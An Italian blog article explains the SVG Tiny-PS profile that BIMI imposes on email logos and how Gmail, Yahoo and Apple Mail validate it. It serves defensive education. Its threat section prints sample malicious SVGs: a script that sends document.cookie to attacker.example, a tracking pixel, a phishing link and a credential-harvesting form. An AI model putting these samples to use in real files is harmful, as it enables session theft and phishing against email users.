SVG Tiny-PS: capire il profilo di sicurezza imposto da BIMI
Di CaptainDNS
Pubblicato il 2 marzo 2026

- SVG standard può incorporare script JavaScript, link di phishing e pixel di tracking: funzionalità incompatibili con una casella di posta
- Il profilo SVG Tiny 1.2 PS (Portable/Secure) elimina ogni esecuzione di codice, ogni caricamento esterno e ogni interattività
- Gmail, Yahoo Mail e Apple Mail analizzano ogni logo BIMI e rifiutano qualsiasi file che viola le restrizioni del profilo PS
Un file SVG non è una semplice immagine. È un documento XML che può contenere JavaScript, link ipertestuali, richieste verso server esterni e persino HTML incorporato tramite <foreignObject>. Queste funzionalità, utili sul web, diventano armi in un contesto email.
BIMI (Brand Indicators for Message Identification) mostra il logo di un brand direttamente nella casella di posta del destinatario. Se quel logo potesse eseguire codice o caricare risorse esterne, diventerebbe il vettore di attacco più accessibile mai distribuito: presente in ogni email ricevuta, visualizzato automaticamente, senza alcuna interazione dell'utente.
Ecco perché BIMI impone un profilo SVG ultra-restrittivo: SVG Tiny 1.2 PS (Portable/Secure). Questo articolo illustra l'origine del profilo, le minacce che neutralizza e il modo in cui i provider di posta lo applicano.
Dal W3C a BIMI: da dove viene il profilo SVG Tiny-PS?
Il profilo SVG Tiny-PS non nasce dal nulla. Si basa su due decenni di lavoro di standardizzazione del W3C, adattato ai vincoli specifici dell'email.
SVG Tiny 1.2: uno standard per dispositivi con risorse limitate
Nel 2008, il W3C pubblica la specifica SVG Tiny 1.2. L'obiettivo iniziale non ha nulla a che fare con l'email: si tratta di consentire la visualizzazione di grafica vettoriale su dispositivi mobili con risorse limitate (telefoni dell'epoca, PDA, browser embedded).
SVG Tiny 1.2 rimuove le funzionalità più pesanti di SVG Full: niente filtri complessi, niente <foreignObject>, niente CSS avanzato. Il sottoinsieme restante è sufficiente per visualizzare icone, loghi e illustrazioni semplici.
L'estensione PS: il livello di sicurezza di BIMI
Quando il BIMI Working Group cerca un formato immagine per i loghi di brand nelle email, SVG Tiny 1.2 rappresenta un buon punto di partenza. Il formato è leggero, standardizzato e non dipende da risoluzioni fisse. Ma SVG Tiny 1.2 conserva ancora funzionalità problematiche per la sicurezza email:
- Gli script JavaScript (
<script>) sono ancora permessi in SVG Tiny 1.2 - I link ipertestuali (
<a>) restano autorizzati - Le animazioni (
<animate>,<set>) funzionano
Il BIMI Working Group aggiunge quindi un ulteriore livello di restrizioni, chiamato PS (Portable/Secure). Il risultato è un profilo dichiarato tramite l'attributo baseProfile="tiny-ps" sul tag <svg> radice:
<svg xmlns="http://www.w3.org/2000/svg"
version="1.2"
baseProfile="tiny-ps"
viewBox="0 0 512 512">
<!-- Contenuto del logo -->
</svg>
L'attributo baseProfile="tiny-ps" segnala ai parser che il file è soggetto alle restrizioni PS. Un provider di posta che incontra un SVG senza questo attributo lo rifiuta, anche se il contenuto è tecnicamente conforme.
Quali vettori di attacco può contenere un file SVG?
Per capire le restrizioni, bisogna prima capire i rischi. Un file SVG classico offre cinque grandi superfici di attacco in un contesto email.
Esecuzione di codice JavaScript
SVG supporta il tag <script> con JavaScript completo. In un browser, è una funzionalità. In una casella di posta, è una falla XSS (Cross-Site Scripting) servita su un piatto d'argento:
<!-- SVG malevolo: furto di sessione -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://attacker.example/steal?cookie=' + document.cookie);
</script>
<circle cx="50" cy="50" r="40" fill="#0EA5E9"/>
</svg>
Un file del genere, visualizzato come logo BIMI, potrebbe accedere al DOM del client di posta web, esfiltrare cookie di sessione o iniettare contenuto nella pagina.
Caricamento di risorse esterne
Il tag <image> consente di caricare immagini da un server remoto. È un pixel di tracking mascherato da logo:
<!-- SVG con tracking pixel -->
<svg xmlns="http://www.w3.org/2000/svg">
<image href="https://tracker.example/pixel.gif?uid=12345"
width="1" height="1"/>
<circle cx="50" cy="50" r="40" fill="#10B981"/>
</svg>
Ogni visualizzazione del logo attiva una richiesta HTTP. L'attaccante sa quando, dove e quante volte l'email viene aperta (indirizzo IP, user agent, frequenza).
Link di phishing
L'elemento <a> crea zone cliccabili in un SVG. Un logo interamente cliccabile che reindirizza verso un sito di phishing passerebbe inosservato alla maggior parte degli utenti:
<!-- SVG con link di phishing -->
<svg xmlns="http://www.w3.org/2000/svg">
<a href="https://fake-bank.example/login">
<rect width="100" height="100" fill="#8B5CF6"/>
<text x="50" y="55" text-anchor="middle" fill="white">Logo</text>
</a>
</svg>
Contenuto HTML incorporato
<foreignObject> consente di iniettare HTML e CSS arbitrari in un SVG. È la superficie di attacco più ampia: moduli, iframe, script annidati:
<!-- SVG con HTML incorporato -->
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<form action="https://attacker.example/phish">
<input type="text" placeholder="Email"/>
<input type="password" placeholder="Password"/>
<button>Accedi</button>
</form>
</div>
</foreignObject>
</svg>
Animazioni e interazioni basate su eventi
Gli elementi <animate>, <set> e gli attributi onclick, onmouseover consentono di creare comportamenti dinamici. Un logo animato potrebbe simulare un'interfaccia, mostrare falsi pulsanti o attivare azioni al passaggio del mouse.

Come il profilo PS neutralizza ogni minaccia?
Il profilo PS applica tre categorie di restrizioni. Ognuna mira a un gruppo specifico di minacce.
Categoria 1: elementi vietati
Il profilo PS elimina completamente alcuni elementi XML dal vocabolario SVG autorizzato:
| Elemento vietato | Minaccia neutralizzata |
|---|---|
<script> | Esecuzione di codice JavaScript (XSS) |
<image> | Caricamento di risorse esterne (tracking) |
<a> | Link di phishing cliccabili |
<foreignObject> | Iniezione di HTML/CSS arbitrario |
<animate>, <animateTransform>, <set> | Animazioni e comportamenti dinamici |
<filter>, <feGaussianBlur> | Filtri complessi (rendering imprevedibile) |
<pattern>, <mask>, <symbol> | Elementi avanzati non necessari per un logo |
<marker>, <switch>, <cursor> | Interattività e personalizzazione |
Se un file SVG contiene anche solo uno di questi elementi, il provider lo rifiuta integralmente. Non esiste una modalità degradata: un singolo elemento vietato è sufficiente.
Categoria 2: attributi ed eventi rimossi
Anche sugli elementi autorizzati, alcuni attributi sono vietati:
- Eventi JavaScript:
onclick,onmouseover,onload,onfocusine tutti gli attribution* - Riferimenti esterni:
xlink:hrefche punta a un URL esterno (i riferimenti interni con#idrestano autorizzati) - Stili CSS complessi: i blocchi
<style>sono vietati; le proprietà devono essere dichiarate come attributi inline (fill="#0EA5E9")
Categoria 3: struttura obbligatoria
Il profilo PS impone una struttura precisa sull'elemento <svg> radice:
| Attributo | Valore richiesto | Funzione |
|---|---|---|
version | 1.2 | Dichiara il sottoinsieme SVG Tiny 1.2 |
baseProfile | tiny-ps | Attiva le restrizioni PS |
viewBox | 0 0 X X (quadrato) | Garantisce un rapporto 1:1 per la visualizzazione |
xmlns | http://www.w3.org/2000/svg | Namespace SVG standard |
Il viewBox quadrato non è propriamente una restrizione di sicurezza. Garantisce che il logo venga visualizzato correttamente indipendentemente dal client di posta e dalle dimensioni dell'area di visualizzazione.
Elementi autorizzati
Ciò che resta dopo il filtraggio costituisce il vocabolario minimo per disegnare un logo:
Contenitori: <svg>, <g>, <defs>
Forme: <rect>, <circle>, <ellipse>, <line>, <polyline>, <polygon>, <path>
Testo: <text>, <tspan>
Colori: <linearGradient>, <radialGradient>, <stop>, <solidColor>
Ritaglio: <clipPath>, <use> (solo riferimento locale)
Accessibilità: <title>, <desc>
Questo vocabolario è sufficiente per riprodurre qualsiasi logo di brand. I loghi non hanno bisogno di script, animazioni o link: sono per natura immagini statiche.
Come i provider validano un logo SVG Tiny-PS?
I provider di posta non si fidano dell'attributo baseProfile="tiny-ps". Analizzano l'intero file e verificano ogni elemento.
Il processo di validazione
La validazione segue una pipeline in quattro fasi:
- Recupero: il provider scarica il file SVG dall'URL indicato nel record DNS BIMI (
l=https://...) - Parsing XML: il file viene analizzato come documento XML rigoroso. Qualsiasi file malformato viene rifiutato
- Verifica strutturale: presenza di
version="1.2",baseProfile="tiny-ps",viewBoxquadrato, namespace corretto - Analisi degli elementi: ogni nodo XML viene confrontato con la whitelist. Un elemento vietato provoca un rifiuto immediato
Differenze tra provider
| Criterio | Gmail | Yahoo Mail | Apple Mail |
|---|---|---|---|
| Validazione SVG Tiny-PS | Rigorosa | Rigorosa | Rigorosa |
| Certificato VMC/CMC richiesto | Sì | No | No |
| Cache del logo | Lunga (giorni) | Media (ore) | Breve |
DMARC p=reject obbligatorio | Sì | No (p=quarantine sufficiente) | No (p=quarantine sufficiente) |
Gmail applica la validazione più rigorosa. Oltre al formato SVG Tiny-PS, richiede un certificato VMC (Verified Mark Certificate) o CMC (Common Mark Certificate) che lega crittograficamente il logo all'identità del brand. Yahoo Mail e Apple Mail mostrano il logo senza certificato, ma validano il formato con lo stesso rigore.
Cause di rifiuto più comuni
Le cause di rifiuto più frequenti sono:
baseProfileassente: il file non dichiarabaseProfile="tiny-ps"(circa il 50% dei casi)- Blocco
<style>presente: gli editor grafici esportano i colori in CSS, non come attributi inline - Elemento
<image>rilevato: un bitmap incorporato in base64 nell'SVG viewBoxnon quadrato: rapporto diverso da 1:1- Namespace superfluo:
xmlns:inkscape,xmlns:xlinkcon riferimenti non utilizzati

🎯 Piano d'azione consigliato
- Controlla il tuo file SVG attuale: aprilo in un editor di testo e cerca gli elementi vietati (
<script>,<image>,<style>,<a>,<animate>) - Verifica gli attributi radice: conferma la presenza di
version="1.2",baseProfile="tiny-ps"e unviewBoxquadrato - Converti automaticamente: passa il file in un convertitore SVG Tiny-PS per rimuovere gli elementi vietati e aggiungere gli attributi mancanti
- Testa il recupero: usa lo strumento di verifica BIMI di CaptainDNS per confermare che il logo è accessibile e valido dal record DNS
- Monitora gli aggiornamenti: il BIMI Working Group può modificare le restrizioni; consulta regolarmente la RFC 9495
FAQ
Cos'è il profilo SVG Tiny-PS?
SVG Tiny 1.2 PS (Portable/Secure) è un sottoinsieme ristretto del formato SVG, definito per BIMI. Riprende la base di SVG Tiny 1.2 del W3C e aggiunge restrizioni di sicurezza: niente script, niente link, niente immagini esterne, niente animazioni. Sono autorizzati solo gli elementi visivi statici (forme, testo, gradienti).
Perché BIMI non accetta i file SVG standard?
Un file SVG standard può contenere JavaScript, link ipertestuali, pixel di tracking e HTML incorporato. Visualizzare automaticamente un tale file in una casella di posta aprirebbe una superficie di attacco enorme. Il profilo SVG Tiny-PS elimina queste funzionalità affinché il logo resti un'immagine statica innocua.
Qual è la differenza tra SVG Tiny 1.2 e SVG Tiny-PS?
SVG Tiny 1.2 è uno standard W3C progettato per i dispositivi mobili. Rimuove le funzionalità più pesanti di SVG Full ma conserva script e link. SVG Tiny-PS aggiunge un livello di restrizioni di sicurezza specifiche per BIMI: divieto di script, link, animazioni e qualsiasi caricamento esterno.
Quali tipi di attacco può contenere un file SVG malevolo?
Un SVG malevolo può contenere JavaScript per eseguire XSS, tag <image> per il tracking tramite pixel, link <a> per il phishing, HTML tramite <foreignObject> per iniettare moduli, e animazioni per simulare falsi elementi di interfaccia.
Come valida Gmail un logo BIMI?
Gmail scarica l'SVG dall'URL dichiarato nel record DNS BIMI, analizza l'XML, verifica la presenza di baseProfile="tiny-ps" e di un viewBox quadrato, poi analizza ogni elemento rispetto alla whitelist del profilo PS. Richiede inoltre un certificato VMC o CMC valido per mostrare il logo con il badge di verifica.
Il profilo SVG Tiny-PS autorizza gradienti e colori?
Sì. I gradienti lineari (<linearGradient>), radiali (<radialGradient>) e i colori (fill, stroke, <solidColor>) sono autorizzati. Il profilo PS limita solo gli elementi che rappresentano un rischio per la sicurezza, non gli elementi decorativi necessari per un logo.
Esiste un validatore ufficiale per SVG Tiny-PS?
Il BIMI Group non fornisce un validatore ufficiale. I provider di posta effettuano la propria validazione durante l'elaborazione dell'email. Per testare il tuo logo prima della pubblicazione, usa uno strumento di verifica BIMI che simula il processo di validazione dei provider.
📖 Glossario
- SVG Tiny 1.2 PS: profilo di sicurezza del formato SVG adottato da BIMI. PS significa Portable/Secure. Restringe SVG Tiny 1.2 ai soli elementi visivi statici, eliminando script, link, animazioni e caricamento esterno.
- XSS (Cross-Site Scripting): attacco che inietta codice JavaScript in una pagina web per rubare dati o dirottare sessioni. Un SVG con
<script>può fungere da vettore XSS. - baseProfile: attributo XML del tag
<svg>che dichiara il profilo SVG utilizzato. Il valoretiny-pssegnala al parser che il file deve rispettare le restrizioni PS. - BIMI: Brand Indicators for Message Identification. Standard che mostra il logo di un brand nei client di posta, condizionato a DMARC e (a seconda del provider) a un certificato VMC/CMC.
- VMC/CMC: Verified Mark Certificate / Common Mark Certificate. Certificati che legano crittograficamente un logo a un brand. Gmail richiede uno di questi certificati per mostrare il badge di verifica.
- RFC 9495: specifica IETF di BIMI, pubblicata a dicembre 2023. Definisce il formato del record DNS, il processo di validazione e i requisiti per il logo SVG.
Verifica la conformità del tuo logo: passa il tuo file SVG nel convertitore SVG Tiny-PS di CaptainDNS per rilevare e correggere automaticamente gli elementi non conformi.
📚 Guide BIMI correlate
- Come creare un logo BIMI conforme SVG Tiny-PS: guida pratica passo-passo per preparare, convertire e validare un logo
- Configurare BIMI per una PMI: guida economica senza VMC: implementare BIMI senza VMC con un budget contenuto, passo dopo passo


